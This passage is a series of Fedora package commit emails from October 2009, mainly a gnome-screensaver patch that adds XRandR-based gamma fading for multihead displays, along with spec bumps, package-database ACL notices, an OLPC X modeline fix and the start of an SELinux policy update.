-                return FADE_TYPE_GAMMA_NUMBER;  /* extension is too old for gamma ramps. */
-        }
-
-        /* Copacetic */
-        return FADE_TYPE_GAMMA_RAMP;
-#else
-        return FADE_TYPE_NONE;
-#endif /* HAVE_XF86VMODE_GAMMA */
-}
 
 gboolean
 gs_fade_get_enabled (GSFade *fade)
@@ -282,86 +268,80 @@ gs_fade_set_enabled (GSFade  *fade,
 }
 
 static gboolean
-gamma_info_init (GSFade *fade)
+gamma_fade_setup (GSFade *fade, int screen_idx)
 {
 #ifdef HAVE_XF86VMODE_GAMMA
-        int              screen;
-        xf86_gamma_info *info;
         gboolean         res;
+        struct GSFadeScreenPrivate *screen_priv;
+
+        screen_priv = &fade->priv->screen_priv[screen_idx];
+
+        if (screen_priv->info)
+                return TRUE;
 
 # ifndef HAVE_XF86VMODE_GAMMA_RAMP
-        if (FADE_TYPE_GAMMA_RAMP == fade->priv->fade_type) {
+        if (FADE_TYPE_GAMMA_RAMP == screen_priv->fade_type) {
                 /* server is newer than client! */
-                fade->priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
+                screen_priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
         }
 # endif
 
-        if (fade->priv->gamma_info != NULL) {
-                return TRUE;
-        }
-
-        info = g_new0 (xf86_gamma_info, fade->priv->num_screens);
-        fade->priv->gamma_info = info;
-
-        /* Get the current gamma maps for all screens.
-           Bug out and return -1 if we can't get them for some screen.
-        */
-        for (screen = 0; screen < fade->priv->num_screens; screen++) {
-
 # ifdef HAVE_XF86VMODE_GAMMA_RAMP
+        
+        screen_priv->info = g_new0(struct GSGammaInfo, 1);
+        screen_priv->num_ramps = 1;
+
+        if (FADE_TYPE_GAMMA_RAMP == screen_priv->fade_type) {
+                /* have ramps */
+
+                res = XF86VidModeGetGammaRampSize (GDK_DISPLAY (), screen_idx, &screen_priv->info->size);
+                if (!res || screen_priv->info->size <= 0) {
+                        screen_priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
+                        goto test_number;
+                }
 
-                if (FADE_TYPE_GAMMA_RAMP == fade->priv->fade_type) {
-                        /* have ramps */
+                screen_priv->info->r = g_new0 (unsigned short, screen_priv->info->size);
+                screen_priv->info->g = g_new0 (unsigned short, screen_priv->info->size);
+                screen_priv->info->b = g_new0 (unsigned short, screen_priv->info->size);
+
+                if (! (screen_priv->info->r && screen_priv->info->g && screen_priv->info->b)) {
+                        screen_priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
+                        goto test_number;
+                }
 
-                        res = XF86VidModeGetGammaRampSize (GDK_DISPLAY (), screen, &info [screen].size);
-                        if (! res || info [screen].size <= 0) {
-                                fade->priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
-                                goto test_number;
-                        }
-
-                        info [screen].r = g_new0 (unsigned short, info[screen].size);
-                        info [screen].g = g_new0 (unsigned short, info[screen].size);
-                        info [screen].b = g_new0 (unsigned short, info[screen].size);
-
-                        if (! (info [screen].r && info [screen].g && info [screen].b)) {
-                                fade->priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
-                                goto test_number;
-                        }
-
-                        res = XF86VidModeGetGammaRamp (GDK_DISPLAY (),
-                                                       screen,
-                                                       info [screen].size,
-                                                       info [screen].r,
-                                                       info [screen].g,
-                                                       info [screen].b);
-                        if (! res) {
-                                fade->priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
-                                goto test_number;
-                        }
-                        gs_debug ("Initialized gamma ramp fade");
+                res = XF86VidModeGetGammaRamp (GDK_DISPLAY (),
+                                               screen_idx,
+                                               screen_priv->info->size,
+                                               screen_priv->info->r,
+                                               screen_priv->info->g,
+                                               screen_priv->info->b);
+                if (! res) {
+                        screen_priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
+                        goto test_number;
                 }
+                gs_debug ("Initialized gamma ramp fade");
+        }
 # endif /* HAVE_XF86VMODE_GAMMA_RAMP */
 
  test_number:
-                if (FADE_TYPE_GAMMA_NUMBER == fade->priv->fade_type) {
-                        /* only have gamma parameter, not ramps. */
-
-                        res = XF86VidModeGetGamma (GDK_DISPLAY (), screen, &info [screen].vmg);
-                        if (! res) {
-                                fade->priv->fade_type = FADE_TYPE_NONE;
-                                goto test_none;
-                        }
-                        gs_debug ("Initialized gamma fade for screen %d: %f %f %f",
-                                  screen,
-                                  info [screen].vmg.red,
-                                  info [screen].vmg.green,
-                                  info [screen].vmg.blue);
+        if (FADE_TYPE_GAMMA_NUMBER == screen_priv->fade_type) {
+                /* only have gamma parameter, not ramps. */
+                
+                res = XF86VidModeGetGamma (GDK_DISPLAY (), screen_idx, &screen_priv->vmg);
+                if (! res) {
+                        screen_priv->fade_type = FADE_TYPE_NONE;
+                        goto test_none;
                 }
-
+                gs_debug ("Initialized gamma fade for screen %d: %f %f %f",
+                          screen_idx,
+                          screen_priv->vmg.red,
+                          screen_priv->vmg.green,
+                          screen_priv->vmg.blue);
+        }
+        
  test_none:
-                if (FADE_TYPE_NONE == fade->priv->fade_type) {
-                        goto FAIL;
-                }
+        if (FADE_TYPE_NONE == screen_priv->fade_type) {
+                goto FAIL;
         }
 
         return TRUE;
@@ -369,76 +349,263 @@ gamma_info_init (GSFade *fade)
 
 #endif /* HAVE_XF86VMODE_GAMMA */
 
-return FALSE;
+        return FALSE;
 }
 
 static void
-gamma_info_free (GSFade *fade)
+screen_fade_finish (GSFade *fade, int screen_idx)
 {
-#ifdef HAVE_XF86VMODE_GAMMA
+        struct GSFadeScreenPrivate *screen_priv;
+        int i;
+        screen_priv = &fade->priv->screen_priv[screen_idx];
 
-        if (fade->priv->gamma_info) {
-                int screen;
+        if (!screen_priv->info)
+                return;
 
-                for (screen = 0; screen < fade->priv->num_screens; screen++) {
-                        if (fade->priv->gamma_info [screen].r) {
-                                g_free (fade->priv->gamma_info[screen].r);
-                        }
-                        if (fade->priv->gamma_info [screen].g) {
-                                g_free (fade->priv->gamma_info[screen].g);
-                        }
-                        if (fade->priv->gamma_info [screen].b) {
-                                g_free (fade->priv->gamma_info[screen].b);
-                        }
-                }
+        for (i = 0; i < screen_priv->num_ramps; i++) {
+                if (screen_priv->info[i].r)
+                        g_free (screen_priv->info[i].r);
+                if (screen_priv->info[i].g)
+                        g_free (screen_priv->info[i].g);
+                if (screen_priv->info[i].b)
+                        g_free (screen_priv->info[i].b);
+        }
+                
+        g_free (screen_priv->info);
+        screen_priv->info = NULL;
+        screen_priv->num_ramps = 0;
+}
 
-                g_free (fade->priv->gamma_info);
-                fade->priv->gamma_info = NULL;
-        }
+static gboolean
+gamma_fade_set_alpha_gamma (GSFade *fade,
+                            int screen_idx,
+                            gdouble alpha)
+{
+#ifdef HAVE_XF86VMODE_GAMMA
+        struct GSFadeScreenPrivate *screen_priv;
+        gboolean res;
 
+        screen_priv = &fade->priv->screen_priv[screen_idx];
+        res = xf86_whack_gamma (screen_idx, screen_priv, alpha);
+
+        return TRUE;
+#else
+        return FALSE;
 #endif /* HAVE_XF86VMODE_GAMMA */
 }
 
-static gboolean
-gs_fade_set_alpha_gamma (GSFade *fade,
-                         gdouble alpha)
+static void
+check_gamma_extension (GSFade *fade, int screen_idx)
 {
 #ifdef HAVE_XF86VMODE_GAMMA
-        int      screen;
+        struct GSFadeScreenPrivate *screen_priv;
+        int      event;
+        int      error;
+        int      major;
+        int      minor;
         gboolean res;
 
-        if (fade->priv->gamma_info != NULL) {
-                for (screen = 0; screen < fade->priv->num_screens; screen++) {
-                        res = xf86_whack_gamma (screen, &fade->priv->gamma_info [screen], alpha);
-                }
+        screen_priv = &fade->priv->screen_priv[screen_idx];
+
+        res = XF86VidModeQueryExtension (GDK_DISPLAY (), &event, &error);
+        if (! res)
+                goto fade_none;
+
+        res = safe_XF86VidModeQueryVersion (GDK_DISPLAY (), &major, &minor);
+        if (! res)
+                goto fade_none;
+
+        if (major < XF86_VIDMODE_GAMMA_MIN_MAJOR ||
+            (major == XF86_VIDMODE_GAMMA_MIN_MAJOR &&
+             minor < XF86_VIDMODE_GAMMA_MIN_MINOR))
+                goto fade_none;
+
+        screen_priv->fade_setup = gamma_fade_setup;
+        screen_priv->fade_finish = screen_fade_finish;
+        screen_priv->fade_set_alpha_gamma = gamma_fade_set_alpha_gamma;
+        
+        if (major < XF86_VIDMODE_GAMMA_RAMP_MIN_MAJOR ||
+            (major == XF86_VIDMODE_GAMMA_RAMP_MIN_MAJOR &&
+             minor < XF86_VIDMODE_GAMMA_RAMP_MIN_MINOR)) {
+                screen_priv->fade_type = FADE_TYPE_GAMMA_NUMBER;
+                return;
         }
 
+        /* Copacetic */
+        screen_priv->fade_type = FADE_TYPE_GAMMA_RAMP;
+        return;
+ fade_none:
+#endif
+        screen_priv->fade_type = FADE_TYPE_NONE;
+}
+
+/* Xrandr support */
+
+static gboolean xrandr_fade_setup (GSFade *fade, int screen_idx)
+{
+        struct GSFadeScreenPrivate *screen_priv;
+        GnomeRRCrtc *crtc;
+        GnomeRRCrtc **crtcs;
+        int crtc_count = 0;
+        struct GSGammaInfo *info;
+        gboolean res;
+
+        screen_priv = &fade->priv->screen_priv[screen_idx];
+
+        if (screen_priv->info)
+                return TRUE;
+
+        /* refresh the screen info */
+        gnome_rr_screen_refresh (screen_priv->rrscreen, NULL);
+
+        crtcs = gnome_rr_screen_list_crtcs (screen_priv->rrscreen);
+        while (*crtcs) {
+                crtc_count++;
+                crtcs++;
+        };
+
+        screen_priv->info = g_new0 (struct GSGammaInfo, crtc_count);
+        screen_priv->num_ramps = crtc_count;
+
+        crtc_count = 0;
+        crtcs = gnome_rr_screen_list_crtcs (screen_priv->rrscreen);
+        while (*crtcs)
+        {
+                crtc = *crtcs;
+
+                info = &screen_priv->info[crtc_count];
+
+                /* if no mode ignore crtc */
+                if (!gnome_rr_crtc_get_current_mode (crtc)) {
+			info->size = 0;
+			info->r = NULL;
+			info->g = NULL;
+			info->b = NULL;
+                }
+		else {
+                	res = gnome_rr_crtc_get_gamma (crtc, &info->size,
+                          	                       &info->r, &info->g,
+                                	               &info->b);
+                	if (res == FALSE)
+                        	goto fail;
+		}
+
+                crtcs++;
+                crtc_count++;
+        }
         return TRUE;
-#else
+ fail:
         return FALSE;
-#endif /* HAVE_XF86VMODE_GAMMA */
+}
+
+static void xrandr_crtc_whack_gamma (GnomeRRCrtc *crtc,
+                                     struct GSGammaInfo *gamma_info,
+                                     float            ratio)
+{
+        unsigned short *r, *g, *b;
+        int i;
+
+        if (gamma_info->size == 0)
+                return;
+
+        if (ratio < 0) {
+                ratio = 0;
+        }
+        if (ratio > 1) {
+                ratio = 1;
+        }
+
+        r = g_new0 (unsigned short, gamma_info->size);
+        g = g_new0 (unsigned short, gamma_info->size);
+        b = g_new0 (unsigned short, gamma_info->size);
+
+        for (i = 0; i < gamma_info->size; i++) {
+                r[i] = gamma_info->r[i] * ratio;
+                g[i] = gamma_info->g[i] * ratio;
+                b[i] = gamma_info->b[i] * ratio;
+        }
+
+        gnome_rr_crtc_set_gamma (crtc, gamma_info->size,
+                                 r, g, b);
+        g_free (r);
+        g_free (g);
+        g_free (b);
+}
+
+static gboolean xrandr_fade_set_alpha_gamma (GSFade *fade,
+                                             int screen_idx,
+                                             gdouble alpha)
+{
+        struct GSFadeScreenPrivate *screen_priv;
+        struct GSGammaInfo *info;
+        GnomeRRCrtc **crtcs;
+        int i;
+
+        screen_priv = &fade->priv->screen_priv[screen_idx];
+
+        if (!screen_priv->info)
+                return FALSE;
+
+        crtcs = gnome_rr_screen_list_crtcs (screen_priv->rrscreen);
+        i = 0;
+
+        while (*crtcs)
+        {
+                info = &screen_priv->info[i];
+                xrandr_crtc_whack_gamma (*crtcs, info, alpha);
+                i++;
+                crtcs++;
+        }
+        return TRUE;
+}
+
+static void
+check_randr_extension (GSFade *fade, int screen_idx)
+{
+        GdkDisplay *display = gdk_display_get_default ();
+        GdkScreen *screen = gdk_display_get_screen (display, screen_idx);
+        struct GSFadeScreenPrivate *screen_priv;
+
+        screen_priv = &fade->priv->screen_priv[screen_idx];
+
+        screen_priv->rrscreen = gnome_rr_screen_new (screen,
+                                                     NULL,
+                                                     NULL,
+                                                     NULL);
+        if (!screen_priv->rrscreen) {
+                screen_priv->fade_type = FADE_TYPE_NONE;
+                return;
+        }
+
+        screen_priv->fade_type = FADE_TYPE_XRANDR;
+        screen_priv->fade_setup = xrandr_fade_setup;
+        screen_priv->fade_finish = screen_fade_finish;
+        screen_priv->fade_set_alpha_gamma = xrandr_fade_set_alpha_gamma;
 }
 
 static gboolean
 gs_fade_set_alpha (GSFade *fade,
                    gdouble alpha)
 {
-        gboolean ret;
+        gboolean ret = FALSE;
+        int i;
 
-        switch (fade->priv->fade_type) {
-        case FADE_TYPE_GAMMA_RAMP:
-        case FADE_TYPE_GAMMA_NUMBER:
-                ret = gs_fade_set_alpha_gamma (fade, alpha);
-                break;
-        case FADE_TYPE_NONE:
-                ret = FALSE;
-                break;
-        default:
-                g_warning ("Unknown fade type");
-                ret = FALSE;
-                break;
+        for (i = 0; i < fade->priv->num_screens; i++) {
+                switch (fade->priv->screen_priv[i].fade_type) {
+                case FADE_TYPE_GAMMA_RAMP:
+                case FADE_TYPE_GAMMA_NUMBER:
+                case FADE_TYPE_XRANDR:
+                        ret = fade->priv->screen_priv[i].fade_set_alpha_gamma (fade, i, alpha);
+                        break;
+                case FADE_TYPE_NONE:
+                        ret = FALSE;
+                        break;
+                default:
+                        g_warning ("Unknown fade type");
+                        ret = FALSE;
+                        break;
+                }
         }
-
         return ret;
 }
 
@@ -527,10 +694,18 @@ gs_fade_start (GSFade *fade,
 {
         guint steps_per_sec = 30;
         guint msecs_per_step;
+        struct GSFadeScreenPrivate *screen_priv;
+        gboolean active_fade, res;
+        int i;
 
         g_return_if_fail (GS_IS_FADE (fade));
 
-        gamma_info_init (fade);
+        for (i = 0; i < fade->priv->num_screens; i++) {
+                screen_priv = &fade->priv->screen_priv[i];
+                res = screen_priv->fade_setup (fade, i);
+                if (res == FALSE)
+                        return;
+        }
 
         if (fade->priv->timer_id > 0) {
                 gs_fade_stop (fade);
@@ -540,7 +715,13 @@ gs_fade_start (GSFade *fade,
 
         gs_fade_set_timeout (fade, timeout);
 
-        if (fade->priv->fade_type != FADE_TYPE_NONE) {
+        active_fade = FALSE;
+        for (i = 0; i < fade->priv->num_screens; i++) {
+                screen_priv = &fade->priv->screen_priv[i];
+                if (screen_priv->fade_type != FADE_TYPE_NONE)
+                        active_fade = TRUE;
+        }
+        if (active_fade) {
                 guint num_steps;
 
                 num_steps = (fade->priv->timeout / 1000) * steps_per_sec;
@@ -639,6 +820,7 @@ gs_fade_sync (GSFade        *fade,
 void
 gs_fade_reset (GSFade *fade)
 {
+        int i;
         g_return_if_fail (GS_IS_FADE (fade));
 
         gs_debug ("Resetting fade");
@@ -651,7 +833,8 @@ gs_fade_reset (GSFade *fade)
 
         gs_fade_set_alpha (fade, fade->priv->current_alpha);
 
-        gamma_info_free (fade);
+        for (i = 0; i < fade->priv->num_screens; i++)
+                fade->priv->screen_priv[i].fade_finish (fade, i);
 }
 
 static void
@@ -679,28 +862,31 @@ static void
 gs_fade_init (GSFade *fade)
 {
         GdkDisplay *display;
+        int i;
 
         fade->priv = GS_FADE_GET_PRIVATE (fade);
 
         fade->priv->timeout = 1000;
         fade->priv->current_alpha = 1.0;
 
-        fade->priv->fade_type = check_gamma_extension ();
-
-        gs_debug ("Fade type: %d", fade->priv->fade_type);
-
         display = gdk_display_get_default ();
         fade->priv->num_screens = gdk_display_get_n_screens (display);
 
-#ifdef HAVE_XF86VMODE_GAMMA
-        fade->priv->gamma_info = NULL;
-#endif
+        fade->priv->screen_priv = g_new0 (struct GSFadeScreenPrivate, fade->priv->num_screens);
+
+        for (i = 0; i < fade->priv->num_screens; i++) {
+                check_randr_extension (fade, i);
+                if (!fade->priv->screen_priv[i].fade_type)
+                        check_gamma_extension (fade, i);
+                gs_debug ("Fade type: %d", fade->priv->screen_priv[i].fade_type);
+        }
 }
 
 static void
 gs_fade_finalize (GObject *object)
 {
         GSFade *fade;
+        int i;
 
         g_return_if_fail (object != NULL);
         g_return_if_fail (GS_IS_FADE (object));
@@ -709,8 +895,20 @@ gs_fade_finalize (GObject *object)
 
         g_return_if_fail (fade->priv != NULL);
 
-        gamma_info_free (fade);
+        for (i = 0; i < fade->priv->num_screens; i++)
+                fade->priv->screen_priv[i].fade_finish(fade, i);
 
+        if (fade->priv->screen_priv) {
+                for (i = 0; i < fade->priv->num_screens; i++) {
+                        if (!fade->priv->screen_priv[i].rrscreen)
+                                continue;
+                        gnome_rr_screen_destroy (fade->priv->screen_priv[i].rrscreen);
+                }
+                                
+                g_free (fade->priv->screen_priv);
+                fade->priv->screen_priv = NULL;
+        }
+                
         G_OBJECT_CLASS (gs_fade_parent_class)->finalize (object);
 }
 


Index: gnome-screensaver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-screensaver/F-12/gnome-screensaver.spec,v
retrieving revision 1.228
retrieving revision 1.229
diff -u -p -r1.228 -r1.229
--- gnome-screensaver.spec	23 Sep 2009 21:56:20 -0000	1.228
+++ gnome-screensaver.spec	22 Oct 2009 18:41:51 -0000	1.229
@@ -14,7 +14,7 @@
 Summary: GNOME Screensaver
 Name: gnome-screensaver
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: Amusements/Graphics
 Source0: http://download.gnome.org/sources/gnome-screensaver/2.28/%{name}-%{version}.tar.bz2
@@ -25,6 +25,7 @@ Patch1: gnome-screensaver-2.20.0-default
 Patch2: gnome-screensaver-2.26.0-securitytoken.patch
 Patch7: gnome-screensaver-2.20.0-blank-by-default.patch
 Patch8: gnome-screensaver-2.20.0-selinux-permit.patch
+Patch9: xrandr-gamma.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://www.gnome.org
@@ -77,6 +78,7 @@ simple, sane, secure defaults and be wel
 #%patch2 -p1 -b .securitytoken
 %patch7 -p1 -b .blank-by-default
 %patch8 -p1 -b .selinux-permit
+%patch9 -p1 -b .xrandr-gamma
 
 libtoolize --force --copy
 
@@ -151,6 +153,13 @@ fi
 %doc %{_mandir}/man1/*.1.gz
 
 %changelog
+* Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-3
+- Fix an oversight in the previous patch
+
+* Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-2
+- Use xrandr for gamma fading, if available, to fix fading in
+  multihead setups
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 



From mclasen at fedoraproject.org  Thu Oct 22 18:53:22 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 22 Oct 2009 18:53:22 +0000 (UTC)
Subject: rpms/gnome-screensaver/F-12 gnome-screensaver.spec,1.229,1.230
Message-ID: <20091022185322.8DC2D11C008C@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-screensaver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7930

Modified Files:
	gnome-screensaver.spec 
Log Message:
bump gnome-desktop br



Index: gnome-screensaver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-screensaver/F-12/gnome-screensaver.spec,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -p -r1.229 -r1.230
--- gnome-screensaver.spec	22 Oct 2009 18:41:51 -0000	1.229
+++ gnome-screensaver.spec	22 Oct 2009 18:53:22 -0000	1.230
@@ -7,7 +7,7 @@
 %define gconf2_version         2.6.1
 %define redhat_menus_version   5.0.1
 %define gnome_menus_version    2.11.1
-%define gnome_desktop_version  2.23.2
+%define gnome_desktop_version  2.28.1-2.fc12
 %define libexif_version        0.6.12
 %define libgnomekbd_version    2.21
 



From pkgdb at fedoraproject.org  Thu Oct 22 18:56:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 18:56:13 +0000
Subject: [pkgdb] kernel: arozansk has requested watchcommits
Message-ID: <20091022185613.4FAD310F85A@bastion2.fedora.phx.redhat.com>

arozansk has requested the watchcommits acl on kernel (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kernel



From sayamind at fedoraproject.org  Thu Oct 22 18:56:51 2009
From: sayamind at fedoraproject.org (Sayamindu Dasgupta)
Date: Thu, 22 Oct 2009 18:56:51 +0000 (UTC)
Subject: rpms/olpc-utils/F-11 olpc-utils-xorg_modefix.patch, NONE,
	1.1 olpc-utils.spec, 1.10, 1.11
Message-ID: <20091022185651.9E01711C008C@cvs1.fedora.phx.redhat.com>

Author: sayamind

Update of /cvs/pkgs/rpms/olpc-utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9079

Modified Files:
	olpc-utils.spec 
Added Files:
	olpc-utils-xorg_modefix.patch 
Log Message:
Version 1.0.3-3: Make our X modeline match that of kernel and OFW (dlo #9538)



olpc-utils-xorg_modefix.patch:
 xorg-xo1.5-dcon.conf |    9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

--- NEW FILE olpc-utils-xorg_modefix.patch ---
>From 4efccb691d3ed49e1d43705e892bc423c4187364 Mon Sep 17 00:00:00 2001
From: Deepak Saxena <dsaxena at neverness.(none)>
Date: Thu, 22 Oct 2009 17:53:59 +0000
Subject: Make our X modeline match that of kernel and OFW

Signed-off-by: Deepak Saxena <dsaxena at laptop.org>
---
diff --git a/etc/X11/xorg-xo1.5-dcon.conf b/etc/X11/xorg-xo1.5-dcon.conf
index 06b0abc..eb24165 100644
--- a/etc/X11/xorg-xo1.5-dcon.conf
+++ b/etc/X11/xorg-xo1.5-dcon.conf
@@ -47,8 +47,8 @@ Section "Monitor"
 	#Modeline "1280x768" 80.14 1280 1344 1480 1680 768 769 772 795
 	Mode "1200x900"
         DotClock 57.275
-        HTimings 1200 1208 1216 1240
-        VTimings 900 905 908 912
+        HTimings 1200 1211 1242 1264
+        VTimings 900 901 909 912
         Flags    "-HSync" "-VSync"
 	EndMode
 EndSection
@@ -142,7 +142,7 @@ Section "Screen"
 	Identifier "Screen0"
 	Device     "Card0"
 	Monitor    "Monitor0"
-	DefaultDepth	24
+	DefaultDepth	16
 	SubSection "Display"
 		Viewport   0 0
 		Depth     1
@@ -165,7 +165,7 @@ Section "Screen"
 	EndSubSection
 	SubSection "Display"
 		Viewport   0 0
-		Depth 24 
+		Depth 16
 		Modes "1200x900"
 	EndSubSection
 EndSection
--
cgit v0.8.2-1-g6063


Index: olpc-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/olpc-utils/F-11/olpc-utils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- olpc-utils.spec	7 Aug 2009 11:15:49 -0000	1.10
+++ olpc-utils.spec	22 Oct 2009 18:56:51 -0000	1.11
@@ -1,6 +1,6 @@
 Name:       olpc-utils
 Version:    1.0.3
-Release:    2%{?dist}
+Release:    3%{?dist}
 Summary:    OLPC utilities
 URL:        http://dev.laptop.org/git?p=projects/olpc-utils;a=summary
 Group:      System Environment/Base
@@ -9,6 +9,7 @@ Source0:    %{name}-%{version}.tar.bz2
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1: olpc-utils-dmidetect.patch
+Patch2: olpc-utils-xorg_modefix.patch
 
 # for olpc-dm
 BuildRequires:  ConsoleKit-devel
@@ -33,7 +34,7 @@ becoming root, and cleaning the datastor
 %setup -q
 
 %patch1 -p1
-
+%patch2 -p1
 
 %build
 make -f Makefile.build %{?_smp_mflags} CFLAGS="%{optflags}"
@@ -85,6 +86,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/ConsoleKit/run-session.d/pam-console-compat.ck
 
 %changelog
+* Fri Oct 23 2009 Sayamindu Dasgupta <sayamindu at laptop.org> 1.0.3-3
+- Make our X modeline match that of kernel and OFW (dlo #9538)
+
 * Fri Aug 10 2009 Sayamindu Dasgupta <sayamindu at laptop.org> 1.0.3-2
 - Detect XO 1.5 correctly (dlo #9422)
 



From pkgdb at fedoraproject.org  Thu Oct 22 19:05:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 19:05:53 +0000
Subject: [pkgdb] kernel had acl change status
Message-ID: <20091022190553.F3DFC10F850@bastion2.fedora.phx.redhat.com>

davej has set the watchcommits acl on kernel (Fedora devel) to Approved for arozansk

To make changes to this package see:
  /pkgdb/packages/name/kernel



From pkgdb at fedoraproject.org  Thu Oct 22 19:06:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 19:06:10 +0000
Subject: [pkgdb] kernel had acl change status
Message-ID: <20091022190610.2297210F85A@bastion2.fedora.phx.redhat.com>

davej has set the watchcommits acl on kernel (Fedora devel) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/kernel



From dwalsh at fedoraproject.org  Thu Oct 22 19:59:11 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 22 Oct 2009 19:59:11 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 booleans-targeted.conf, 1.57,
	1.58 policy-F12.patch, 1.115, 1.116 selinux-policy.spec, 1.948, 1.949
Message-ID: <20091022195911.2C0F511C008C@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32595

Modified Files:
	booleans-targeted.conf policy-F12.patch selinux-policy.spec 
Log Message:
* Thu Oct 22 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-32
- Allow unconfined_execmem_t to transition to sandbox
- Allow postfix_cleanup to read etc_alias
- Allow consolekit to signal udev



Index: booleans-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/booleans-targeted.conf,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- booleans-targeted.conf	20 Oct 2009 22:59:51 -0000	1.57
+++ booleans-targeted.conf	22 Oct 2009 19:59:10 -0000	1.58
@@ -108,7 +108,7 @@ httpd_tty_comm = false
 
 # Run CGI in the main httpd domain
 # 
-httpd_unified = false
+httpd_unified = true
 
 # Allow BIND to write the master zone files.Generally this is used for dynamic DNS.
 # 

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  320 ++++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +-
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
